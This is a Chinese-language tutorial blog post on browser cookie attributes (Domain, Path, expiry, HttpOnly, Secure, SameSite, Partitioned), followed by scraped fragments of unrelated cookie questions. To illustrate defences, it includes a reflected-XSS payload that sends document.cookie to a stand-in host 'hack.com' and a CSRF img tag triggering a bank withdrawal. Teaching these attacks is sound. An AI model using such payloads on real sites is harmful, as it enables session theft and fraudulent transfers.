- Java锁的逻辑(结合对象头和ObjectMonitor)
- 还在用饼状图?来瞧瞧这些炫酷的百分比可视化新图形(附代码实现)⛵
- 自动注册实体类到EntityFrameworkCore上下文,并适配ABP及ABPVNext
- 基于Sklearn机器学习代码实战
我们是 袋鼠云数栈 UED 团队 ,致力于打造优秀的一站式数据中台产品。我们始终保持工匠精神,探索前端道路,为社区积累并传播经验价值.
本文作者:佳岚 。
Cookie 实际上是一小段的文本信息,它产生的原因是由于HTTP 协议是 无状态 的,所以需要通过 Cookie 来维持客户端与服务端之间的“会话状态”。如网络购物,能够在不同页面记录购物车信息,或者在网站不同页面共享登录状态.
Cookie 的基本结构包括:名字、值、各种属性 。
一块 Cookie 可能有 Domain、Path、Expires、Max-Age、Secure、HttpOnly 等多种属性,如 。
**HTTP**/1.1 200 **OK**
Set-Cookie: token=abc; Domain=.baidu.com; Path=/accounts; Expires=Wed, 13 Jan 2021 22:23:01 GMT; Secure; HttpOnly
Domain 和 Path 属性定义了该 Cookie 的可被访问的范围,告诉浏览器该 Cookie 是属于哪一个网站的。在请求接口时,会根据 Domain 与 Path 由浏览器决定是否要携带该 Cookie 。因此, Domain 是有严格规范进行约束的,可以看成 Cookie 的第一道安全防线。 首先 Domain 设置时在 格式上 必须以 . 开头,且域必须还要包含一个 . ,或者是完全以 ip 的形式写入, 比如说:
.baidu.com ✅ 。
192.168.3.5 ✅ 。
.com ❌ 。
.168.3.5 ❌ 非法ip地址是无法写入的 。
www.baidu.com ❓ 是否合法 。
A Set-Cookie with Domain=ajax.com will be rejected because the value for Domain does not begin with a dot. 。
虽然 RFC 中严格规定了 Domain 必须以 . 开头,但可能由于网站开发者经常忘记加上 . ,所以浏览器都会自动的在前面加上一个 . 比如说下面这种:
写入时 。
查看时 。
如果服务器未指定 Cookie 的 Domain ,则它们默认为所请求资源的域.
比如 网站地址为 www.baidu.com ,写入的Cookie响应头为 Set-Cookie: b=2; Domain=,
则实际写入的 Cookie 为 。
我们可以看到 b 的 Domain 变成了当前网站的域,且前面也没有带上 . 。
区别 。
Domain
不带点时只有请求主机完全匹配时才会带上 Cookie,也就是仅 www.baidu.com
能访问 Domain
带点时所有子域都能访问到该 Cookie,如 baidu.com
、 b.baidu.com
、 a.b.baidu.com
主机匹配 。
如果请求主机与域名不匹配,则会被浏览器拒绝写入 当我在 www.a.com 网站写入了一条 www.b.com , 由于它们非同站会被浏览器拒绝写入 。
Domain 必须为当前域或者当前域的 父域 。
www.baidu.com
,写入域为 .baidu.com
、 www.baidu.com
✅ a.baidu.com
,写入域为 b.baidu.com
、 c.a.baidu.com
❌ 再讲讲 Path , Path 与 Domain 相铺相成, Domain 决定 Cookie 是否该被写入,而 Path 决定具体请求哪个路径时会被携带.
例如,设置 Path=/docs ,则以下地址都会匹配:
/docs
/docs/
/docs/Web/
/docs/Web/HTTP
但是这些请求路径不会匹配以下地址:
/
/docsets
/fr/docs
当为设置 Path 或者设置为空时, Path 会被设置为当前请求路径 。
注意点:
当请求地址不带末尾的 / 时, www.a.com:3000/a/b 。
当请求地址末尾带 / 时, www.a.com:3000/a/b/ 。
Cookie是由 Domain 与 Path 来区分的,因此不同的 Domain 或 Path 会被识别成不同的Cookie, 所以你可能会遇到多个同名的情况 。
这些Cookie会同时在请求头中被传递给服务器端 。
我们可以看到 发送给服务器端的 Cookie 只会携带 Cookie 的键与名,不会携带相关的 Domain 信息,因此服务器端是无法判断出该 Cookie 具体是哪个域携带的。但会有携带顺序的优先级问题, 参见 。
所以当我们有多个子网站需要使用相同名字的Cookie时,可以使用 不带点的全域名 作为写入 Domain 或者指定具体的不同 Path , 或者采用前缀来区分不同网站 。
Expires 与 Max-Age 属性定义了 Cookie 的生命周期,也就是浏览器应删除 Cookie 的时间。在默认情况下Cookie 的生命周期是 Session 级别,即退出浏览器后自动过期。 与 Http Cache 类似, Expires 是以一个绝对 GMT格式的时间 的来指定过期时间,而 Max-Age 是以多少秒后过期。 Max-Age 是 http1.1 的产物,优先级比 Expires 要高, 。
Session
级别 区别点:
Expires
是以 GMT
时间为单位,可能存在服务器与浏览器端时间不匹配的情况,导致不能精确控制时间到期时间。而 Max-Age
则是以浏览器端接收到响应时开始计算时间的,以客户端为准 Max-Age
使用与计算过期时间更简单,而 Expires
兼容性更好 了解了这4个属性,我们就可以先封装自己的 Cookie 操作工具了, 浏览器提供的 document.cookie 为我们提供了对 Cookie 的操作方式 。
对 document.cookie 重新赋值即可新增该 Cookie , 而不是替换掉整个 Cookies 。 注意:如果需要替换某个 Cookie , 必须保证 Domain 与 Path 一致。其中 Cookie 内容只能包括 Ascii 码字符,所以需要经过一层编码.
setCookie(
name: string,
value: string,
days?: number,
domainStr?: string
){
let expires = '';
if (days) {
const date = new Date();
date.setTime(date.getTime() + days * 24 * 60 * 60 * 1000);
expires = '; expires=' + date.toUTCString();
}
let domain = '';
if (domainStr) {
domain = '; domain=' + domainStr;
}
document.cookie = name + '=' + encodeURIComponent(value) + expires + domain + '; path=/';
},
只有将 Cookie 设为过期才会删除, 注意只有符合指定 domain 与 path 会被删除 。
deleteCookie(name: string, domain?: string, path?: string) {
const d = new Date(0);
const domainTemp = domain ? `; domain=${domain}` : '';
const pathTemp = path || '/';
document.cookie =
name + '=; expires=' + d.toUTCString() + domainTemp + '; path=' + pathTemp;
},
我们仅能通过 document.cookie 查询到所有的键与值,无法查询其具体的属性,每个不同的Cookie通过 ; 分割 。
function getCookie(cookieName) {
const strCookie = document.cookie
const cookieList = strCookie.split('; ')
for(let i = 0; i < cookieList.length; i++) {
const arr = cookieList[i].split('=')
if (cookieName === arr[0].trim()) {
return decodeURIComponent(arr[1]);
}
}
return ''
}
HttpOnly 要求浏览器不要通过 HTTP(和HTTPS)以外的渠道使用 Cookie,也就是说只能通过 Http 的响应头里进行 Set-Cookie , 用户无法在 js 代码中去操作与读取该 Cookie。这个属性主要是用来缓解 XSS 攻击的。 我们可以看下面两个例子 。
反射型XSS窃取Cookie 。
反射型 XSS 攻击指攻击者在页面中插入恶意 JavaScript 脚本,该脚本随着 HTTP/HTTPS 请求数据一起发送给后端服务器,服务器对其进行响应,浏览器接收响应后将其解析渲染。恶意脚本的执行路径为“浏览器-服务器-浏览器”。浏览器中的恶意脚本发送到服务器,服务器直接对应资源返回浏览器中解析执行,整个过程类似于反射.
假设我们在百度上搜索内容,就会跳转以下页面.
https://www.baidu.com/search?input=searchText 。
之后返回的页面中会携带下面的内容 。
<p>以下是搜索{searchText}的所有结果</p> 。
这时我将 searchText 改为如下的字符串 。
<img src="notfound.png" onerror="location.href='http://hack.com/?cookie='+document.cookie'"> 。
接着我再把整个链接进行转码或者转短链接化,发送给用户,用户点击后在 baidu 上的 Cookie 就会比自动发送到我们的 hack 服务器内.
存储型 XSS 窃取 Cookie 。
存储型 XSS 攻击指攻击者在服务器的数据库中插入恶意 JavaScript 脚本,当用户访问网站时,恶意脚本被发送到浏览器进行解析执行.
最经典的一个评论区案例 。
我在某网站的评论区直接输入一串JS代码 。
如果前端与后端均没有对其进行过滤,那么该评论被写入到数据库中,所有访问该页面的用户信息都会被窃取.
但目前 XSS 攻击并没有那么容易成功,大部分前端框架 React、 Vue,都会自动对 HTML 内容进行转义后再输出到页面,比如:
<img src="empty.png" onerror ="alert('xss')"> 。
转义后输出到 html 中 。
<img src="empty.png" onerror ="alert('xss')">,
相比之下,采用服务器端渲染的Web应用更容易被攻击,如 jsp 、 php 、 express-art-tempalte .
因此,采用 HttpOnly 来保护关键的用户 Cookie 是能很大程度上防止 Cookie 被窃取,但并非完全杜绝.
Secure 属性是防止信息在传递的过程中被监听捕获造成信息泄漏。当 Secure 标志的值被设置为 true 时,表示创建的 Cookie 会被以安全的形式向服务器传输,即只能在 HTTPS 连接中被浏览器传递到服务器端进行会话验证,如果是 HTTP 连接则不会传递该信息,所以 Cookie 的具体内容不会被盗取,该属性只能在 HTTPS 站点下被设置.
Same Site 直译过来就是同站,它和我们之前说的同域 Same Origin 是不同的。Cookie 遵守 同站策略 ,而非 同源策略 ,两者的区别主要在于判断的标准是不一样的。一个 URL 主要有以下几个部分组成:
可以看到同域的判断比较严格,需要 protocol 、 hostname 、 port 三部分完全一致.
相对而言, Cookie 中的同站判断就比较宽松,主要是根据 Mozilla 维护的 公共后缀表 ( Pulic Suffix List )使用有效顶级域名(eTLD)+1的规则查找得到的一级域名是否相同来判断是否是同站请求, 此外, Cookie 并不区分 端口 与 协议 .
域名可以分成顶级域名(一级域名)、二级域名、三级域名等等,如:
顶级域名: .com , .cn , .top , .xyz 。
二级: baidu.com , bilibili.com 。
三级域名: xx.baidu.com xx.bilibili.com 。
这很好理解,如果是 github.io 这属于什么域名?
例如 比较 https://tieba.baidu.com 与 https://wenku.baidu.com 是否是同站.
根据上述的 有效顶级域名(eTLD)+1的规则查找得到的一级域名是否相同 。
.com 是在 PSL 中记录的有效顶级域名, eTLD+1 后两者都是 baidu.com .
所以 https://tieba.baidu.com 和 https://www.baidu.com 是同站域名.
那我们再来比较下 jackWang.github.io 与 dtstack.github.io 。
其中 github.io 我们再 PSL 中能够找到 。
因此 github.io 是有效顶级域名 eTLD , jackWang.github.io 与 dtstack.github.io 分别是 eTLD+1 , 它们不相等,所以是跨站的。由于 github.io 是顶级域名,当 domain 设置为 .github.io 由于非法,并不会设置成功,也因此不同 github page 是不共享 Cookie 的.
eTLD 的全称是 effective Top-Level Domain ,它与我们往常理解的 Top-Level Domain 顶级域名有所区别。eTLD 记录在之前提到的 PSL 文件中。而 TLD(真正的顶级域名) 也有一个记录的列表,那就是 Root Zone Database 。 eTLD 的出现主要是为了解决 .com.cn 、 .com.hk 、 .co.jp 这种看起来像是二级域名的但其实需要作为顶级域名存在的场景。 回到 SameSite 这个属性本身上,它有三个取值 。
None
Lax
默认值 Strict
在 Chrome80 版本以前,Same-Site 的默认值是 None , 该属性值表示不做任何限制,允许 第三方Cookie 。啥是 第三方Cookie ?根据上面同站的判断规则,如果是同站的,就称为 第一方 ,跨站的就为 第三方 .
那么什么时候我的网站会出现第三方 Cookie , Cookie Domain 不是只能设置自身域内吗 ? 首先 Set-Cookie 时的 Domain 校验是根据请求的主机,而不是当前导航栏 URL 的地址来判定的 。
当我请求一个 跨域请求 ,或者通过 img标签 引入一个外域的图片时等等,如果请求响应设置了 Cookie 或者携带了 第三方Cookie , 那么都会在 Devtools 中展示,只有当通过 document.cookie 访问时访问到的都为 第一方Cookie .
当我在 www.aliyun.com 设置了如下 Cookie: a=createFromAliyun; Domain=.aliyun.com;Path=/; SameSite=None 。
当我访问 www.taobao.com 时, 里面引用了一张 aliyun.com 的图片 当我将SameSite设为None时,请求这张图片时才会带上我们在 www.aliyun.com 下写入的Cookie a .
仅携带为 None 的 Cookie 。
Lax 会对一部分 第三方Cookie 进行限制发送,我们知道互联网广告通过在固定域 Cookie 下标记用户 ID,记录用户的行为从何达到精准推荐的目的。随着全球隐私问题的整治,在 Chrome 80 中浏览器将默认的 SameSite 规则从 SameSite=None 修改为 SameSite=Lax 。设置成 SameSite=Lax 之后页面内所有跨站情况下的资源请求都不会携带 Cookie.
具体规则:
类型 | 例子 | 是否发送 |
---|---|---|
a链接 | 发送 | |
预加载 | 发送 | |
GET 表单 | 发送 | |
POST 表单 | 不发送 | |
iframe | 不发送 | |
AJAX | axios.post fetch | 不发送 |
图片 | 不发送 |
对用户来说这肯定是一件好事,避免了自身被攻击。但是对我们技术同学来说,这无疑是给我们设置的一个障碍。因为业务也确实会存在着多个域名的情况,并且需要在这些域名中进行 Cookie 传递.
这个修改影响面广泛,需要网站维护者花大量的时间去修改适配.
针对因为此次特性受到影响的网站,可以选择以下一些适配办法:
chrome://flags
将 same-site-by-default-cookies
设为 disabled
, 94版本以下需改动启动项才行 二级域名
下面,即让他们保持 同站
单点登录页面
,单点登录页面仅会在 iframe
中使用,没有人会单独去访问这个网站,则可以考虑修改单点登录页面的域名。 SameSite=None;Secure
属性 None
必须与 Secure
配套使用,而 Secure
意味着必须配备 HTTPS
。 www.baidu.com
下通过 iframe 嵌套了 www.bilibili.com
, 它们跨站了,在 bilibili 中的 Set-Cookie
将会被拒绝掉。 Nginx
上开启一个代理服务,将域名 bilibili.baidu.com
代理转发至 www.bilibili.com
需要注意 : 要通过 Nginx 进行 Cookie 转发 。
server {
listen 80;
server_name bilibili.baidu.com;
location / {
proxy_hide_header X-Frame-Options;
# 用于cookie代理
proxy_cookie_domain www.baidu.com bilibili.baidu.com;
# 代理到真实地址
proxy_pass http://www.baidu.com;
}
}
Strict 最为严格,它完全拒绝第三方站点,实际运用场景并不多,当某些 Cookie 被设为 Strict 后,可能会影响到用户的体验。比如我在 baidu.com 中用 a标签 链接到 bilibili ,而 bilibili 的 token 如果是 Strict 的话,那我跳转过去就会丢失登录状态.
SameSite 的作用主要有两点
CSRF攻击
比如我在自己的黑客网站放入一张图片,里面的链接指向会将 qiming 的钱转给 jialan, 诱导用户进入我的网站,由于第三方 Cookie 的存在,用户的登录态是存在的(之前登录过该银行的话),钱就会自动转入我的账户。如果设置了 Lax 或 Strict , 则能避免这种问题。 <img src="http://bank.example.com/withdraw?account=qiming&amount=1000000&for=jialan" /> 。
每一个 Cookie 的大小一般为4KB, 不同浏览器上不同,Chrome 实测下来为 4096 个字节,其计算是 name + value 的字符串长度,当超过大小时设置不会成功 。
实测下来每个域下面最多为175个,当超出最大限制时,会移除旧的 Cookie 。
但我如何控制哪些 Cookie 在超出限制时不应该被删除? Cookie还有个 Priority 属性用来表示优先级 有以下取值:
Low
Medium
默认值 High
那自动删除时将按下面顺序进行删除 。
Low
的非 secure Cookie Low
的 secure Cookie Medium
的非 secure Cookie Medium
的 secure Cookie High
的非 secure Cookie High
的 secure Cookie Cookie 在未来的很长一段时间都是不可或缺的,即使目前已经有了 jwt 等替代方案。 像国外的 Cookie 隐私法在一步步限制着 Cookie 的权利,访问站点时使用第三方 Cookie 都必须争得用户的同意.
SameSite=Lax/Strict 断了我们跨站传递 Cookie 的念想,但实际业务上确实有这种场景。然而 Chrome 是计划在2024年完全禁用 第三方Cookie ,那完全禁用后,为了能够满足实际的业务需求,Chrome 又推出了 SameParty 属性.
该提案提出了 SameParty 新的 Cookie 属性,当标记了这个属性的 Cookie 可以在同一个主域下进行共享。那如何定义不同的域名属于同一主域呢?主要是依赖了另外一个特性 first-party-set 第一方集合。它规定在每个域名下的该 URL /.well-known/first-party-set 可以返回一个第一方域名的配置文件。在这个文件中你可以定义当前域名从属于哪个第一方域名,该第一方域名下有哪些成员域名等配置.
// https://a.example/.well-known/first-party-set
{
"owner": "a.example",
"members": ["b.example", "c.example"],
...
}
// https://b.example/.well-known/first-party-set
{
"owner": "a.example"
}
// https://c.example/.well-known/first-party-set
{
"owner": "a.example"
}
当然使用固定 URL 会产生额外的请求,对页面的响应造成影响。也可以直接使用 Sec-First-Party-Set 响应头直接指定归属的第一方域名.
该属性还未正式支持,此处只做简略说明, 详细资料 。
这个属性我们可能很少注意到,一般称为 Cookies Having Independent Partitioned State (CHIPS) 。
它的作用是使 第三方Cookie 与 第一方站点 相绑定 。
我们举个例子:
我在 https://site-a.example 里,里面请求了 https://3rd-party.example 这个站点的资源, 而 https://3rd-party.example 写入了一个 Cookie ,那它属于 第三方COokie .
当我访问 https://site-b.example 时,也请求了 https://3rd-party.example 的资源,这时浏览器会把在 https://site-a.example 中写入的第三方 Cookie 也给带上.
这是正常情况,原因是 Cookie 在会以写入它们的主机或者域名作为 Key 去存储,比如上面就是 [”https://3rd-party.example”] , 我们并不知道它的创建上下文域名是啥.
当我开启 Partitioned 时,Cookie 存储时,还会记录创建它的上下文 eTLD + 1 作为额外的 Partiotion Key , 变成 [”https://3rd-party.example”, "https://site-a.example"] .
当我访问 https://site-a.example 是因为匹配上了 Partition Key , 所以能够带上 第三方 Cookie , 访问 https://site-b.example 时则不会带上 第三方 Cookie 。这样其实主要是限制了第三方 Cookie 的跟踪.
https://tech-blog.cymetrics.io/posts/jo/zerobased-secure-samesite-httponly/ https://www.ruanyifeng.com/blog/2019/09/cookie-samesite.html https://blog.csdn.net/frontend_nian/article/details/124221944 https://blog.csdn.net/weixin_40906515/article/details/120030218 https://datatracker.ietf.org/doc/html/rfc6265#section-3.1 https://zhuanlan.zhihu.com/p/50541175 https://developer.mozilla.org/en-US/docs/Web/Privacy/Partitioned_cookies#cross-site_tracking_in_a_nutshell 。
欢迎关注【袋鼠云数栈UED团队】~ 袋鼠云数栈UED团队持续为广大开发者分享技术成果,相继参与开源了欢迎star 。
最后此篇关于Cookies完全指南的文章就讲到这里了,如果你想了解更多关于Cookies完全指南的内容请搜索CFSDN的文章或继续浏览相关文章,希望大家以后支持我的博客! 。
在我的主要组件中,我有: mounted() { window.$cookie.set('cookie_name', userName, expiringTime); }, 这会产生以下错误:
我正在学习 cookie,并且我想知道在编写依赖 cookie 来存储状态的 Web 应用程序时浏览器的支持情况。 对于每个域/网站,可以向浏览器发送多少个 Cookie,大小是多少? 如果发送并存储
我已经为我的站点设置了一个 cdn,并将其用于 css、js 和图像。 网站只提供那些文件 我的问题是 firefox 中的页面速度插件对于我的图片请求,我看到了一个 cookie Cookie fc
在阅读了 Internet 上的文档和帖子后,我仍然无法解决 jMeter 中的 Cookie Manager 问题。 我在响应头中得到了 sid ID,但它没有存储在我的 cookie 管理器中。
我正在 Node.JS 中处理一些类似浏览器的 cookie 处理,想知道从 NodeJS and HTTP Client - Are cookies supported? 开始对这段代码进行扩展到什
我正在此堆栈上构建自托管 Web 服务器:欧文南希网络 API 2 我正在使用 Katana 的 Microsoft.Owin.Security.Cookies 进行类似表单的身份验证。我得到了 Se
我有一个从另一个网站加载资源的网站。我已经能够确定: 第三方网站在用户的浏览器上放置 cookie。 如果我在浏览器设置中禁用第三方 cookie,第三方网站将无法再在浏览器上放置 cookie。 该
关闭。这个问题是off-topic .它目前不接受答案。 想改善这个问题吗? Update the question所以它是 on-topic对于堆栈溢出。 9年前关闭。 Improve this q
我正在使用 python mechanize 制作登录脚本。我已经读到 Mechanize 的 Browser() 对象将自动处理 cookie 以供进一步请求。 我怎样才能使这个 cookie 持久
我正在尝试在 www.example.com 和 admin.other.example.com 之间共享 cookie 我已经能够使其与 other.example.com 一起使用,但是无法访问子
我设置了一个域为 .example.com 的 cookie .它适用于我网站上的每个一级子域,应该如此。 但是,它不适用于 n 级子域,即 sub.subdomain.example.com和 to
我想让用户尽可能长时间地登录。 我应该使用什么? 普通 cookies 持久性 cookie 快闪 cookies ip地址 session 或这些的某种组合? 最佳答案 我认为 Flash cook
如果给定的 Web 服务器只能读取其域内设置的 cookie,那么 Internet 广告商如何从其网络外的网站跟踪用户的 Web 流量? 是否存在某种“supercookie”全局广告系统,允许广告
我知道一个 cookie 可以容纳多少数据是有限制的,但是我们可以设置多少个 cookie 有限制吗? 最佳答案 来自 http://www.ietf.org/rfc/rfc2109.txt Prac
如果我拒绝创建 cookie,则在我的浏览器中创建名称为 __utma、__utmb 等的 cookie。我认为这个 cookie 是用于谷歌分析的。任何人都知道谷歌如何创建这个 cookie,即使浏
我有一个生产环境和一个登台环境。我想知道我是否可以在环境之间沙箱 cookie。我的设置看起来像 生产 domain.com - 前端 SPA api.domain.com - 后端节点 分期 sta
我想知道浏览器(即 Firefox )和网站的交互。 当我将用户名和密码提交到登录表单时,会发生什么? 我认为该网站向我发送了一些 cookie,并通过检查这些 cookie 来授权我。 cookie
我在两个不同的域中有两个网络应用程序 WebApp1 和 WebApp2。 我在 HttpResponse 的 WebApp1 中设置 cookie。 如何从 WebApp2 中的 HttpReque
我正在使用Dartium“Version 34.0.1847.0 aura(264987)”,并从Dart创建一个websocket。但是,如果不是httpOnly,我的安全 session cook
我从 Headfirst Javascript 书中获取了用于 cookie 的代码。但由于某种原因,它不适用于我的浏览器。我主要使用chrome和ff,并且我在chrome中启用了本地cookie。
我是一名优秀的程序员,十分优秀!